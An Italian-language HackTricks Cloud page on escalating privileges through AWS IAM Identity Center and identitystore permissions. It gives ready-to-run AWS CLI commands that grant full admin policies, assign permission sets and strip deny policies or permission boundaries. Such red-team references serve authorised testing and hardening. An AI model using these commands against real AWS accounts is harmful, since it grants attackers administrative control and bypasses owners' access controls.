AWS - SSO & identitystore Privesc
Tip
Impara e pratica il hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al đŹ gruppo Discord o al gruppo telegram o seguici su Twitter đŚ @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos su github.
AWS Identity Center / AWS SSO
Per maggiori informazioni su AWS Identity Center / AWS SSO consulta:
AWS - IAM, Identity Center & SSO Enum
Warning
Nota che, per default, solo gli utenti con permessi del Management Account potranno accedere e controllare lâIAM Identity Center.
Gli utenti di altri account possono farlo solo se lâaccount è un Delegated Administrator.
Consulta la documentazione per maggiori informazioni.
Reset Password
Un modo semplice per elevare i privilegi in casi come questo sarebbe avere un permesso che consente di resettare le password degli utenti. Sfortunatamente è possibile soltanto inviare unâemail allâutente per reimpostare la sua password, quindi avresti bisogno di accesso alla email dellâutente.
identitystore:CreateGroupMembership
Con questo permesso è possibile inserire un utente in un gruppo in modo che erediti tutti i permessi del gruppo.
aws identitystore create-group-membership --identity-store-id <tore-id> --group-id <group-id> --member-id UserId=<user-id>
sso:PutInlinePolicyToPermissionSet, sso:ProvisionPermissionSet
Un attacker con questa permission potrebbe concedere permessi aggiuntivi a un Permission Set assegnato a un utente sotto il suo controllo.
# Set an inline policy with admin privileges
aws sso-admin put-inline-policy-to-permission-set --instance-arn <instance-arn> --permission-set-arn <perm-set-arn> --inline-policy file:///tmp/policy.yaml
# Content of /tmp/policy.yaml
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "Statement1",
"Effect": "Allow",
"Action": ["*"],
"Resource": ["*"]
}
]
}
# Update the provisioning so the new policy is created in the account
aws sso-admin provision-permission-set --instance-arn <instance-arn> --permission-set-arn <perm-set-arn> --target-type ALL_PROVISIONED_ACCOUNTS
sso:AttachManagedPolicyToPermissionSet, sso:ProvisionPermissionSet
Un attacker con questo permesso può concedere permessi aggiuntivi a un Permission Set assegnato a un utente sotto il suo controllo.
# Set AdministratorAccess policy to the permission set
aws sso-admin attach-managed-policy-to-permission-set --instance-arn <instance-arn> --permission-set-arn <perm-set-arn> --managed-policy-arn "arn:aws:iam::aws:policy/AdministratorAccess"
# Update the provisioning so the new policy is created in the account
aws sso-admin provision-permission-set --instance-arn <instance-arn> --permission-set-arn <perm-set-arn> --target-type ALL_PROVISIONED_ACCOUNTS
sso:AttachCustomerManagedPolicyReferenceToPermissionSet, sso:ProvisionPermissionSet
Un attacker con questa permission potrebbe concedere permessi aggiuntivi a un Permission Set che è assegnato a un user sotto il suo controllo.
Warning
Per abusare di queste permissions in questo caso devi conoscere il nome di una customer managed policy che sia presente in TUTTI gli accounts che verranno interessati.
# Set AdministratorAccess policy to the permission set
aws sso-admin attach-customer-managed-policy-reference-to-permission-set --instance-arn <instance-arn> --permission-set-arn <perm-set-arn> --customer-managed-policy-reference <customer-managed-policy-name>
# Update the provisioning so the new policy is created in the account
aws sso-admin provision-permission-set --instance-arn <instance-arn> --permission-set-arn <perm-set-arn> --target-type ALL_PROVISIONED_ACCOUNTS
sso:CreateAccountAssignment
Un attaccante con questa autorizzazione potrebbe assegnare un Permission Set a un utente sotto il suo controllo a un account.
aws sso-admin create-account-assignment --instance-arn <instance-arn> --target-id <account_num> --target-type AWS_ACCOUNT --permission-set-arn <permission_set_arn> --principal-type USER --principal-id <principal_id>
sso:GetRoleCredentials
Restituisce le credenziali STS a breve termine per un dato nome del ruolo assegnato allâutente.
aws sso get-role-credentials --role-name <value> --account-id <value> --access-token <value>
Tuttavia, è necessario un access token che non sono sicuro di come ottenere (TODO).
sso:DetachManagedPolicyFromPermissionSet
Un attacker con questo permesso può rimuovere lâassociazione tra una managed policy di AWS e il permission set specificato. Ă possibile concedere ulteriori privilegi tramite la rimozione (detach) di una managed policy (deny policy).
aws sso-admin detach-managed-policy-from-permission-set --instance-arn <SSOInstanceARN> --permission-set-arn <PermissionSetARN> --managed-policy-arn <ManagedPolicyARN>
sso:DetachCustomerManagedPolicyReferenceFromPermissionSet
Un attacker con questo permesso può rimuovere lâassociazione tra una Customer managed policy e il permission set specificato. Ă possibile ottenere privilegi aggiuntivi tramite detaching a managed policy (deny policy).
aws sso-admin detach-customer-managed-policy-reference-from-permission-set --instance-arn <value> --permission-set-arn <value> --customer-managed-policy-reference <value>
sso:DeleteInlinePolicyFromPermissionSet
Un attaccante con questa permission può rimuovere le autorizzazioni di una inline policy associata al permission set. à possibile ottenere maggiori privilegi rimuovendo (detaching) una inline policy (deny policy).
aws sso-admin delete-inline-policy-from-permission-set --instance-arn <SSOInstanceARN> --permission-set-arn <PermissionSetARN>
sso:DeletePermissionBoundaryFromPermissionSet
Un attacker in possesso di questa permission può rimuovere il Permission Boundary dal permission set. à possibile concedere piÚ privilegi rimuovendo le restrizioni sul Permission Set imposte dal Permission Boundary.
aws sso-admin delete-permissions-boundary-from-permission-set --instance-arn <value> --permission-set-arn <value>
Tip
Impara e pratica il hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al đŹ gruppo Discord o al gruppo telegram o seguici su Twitter đŚ @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos su github.
HackTricks Cloud

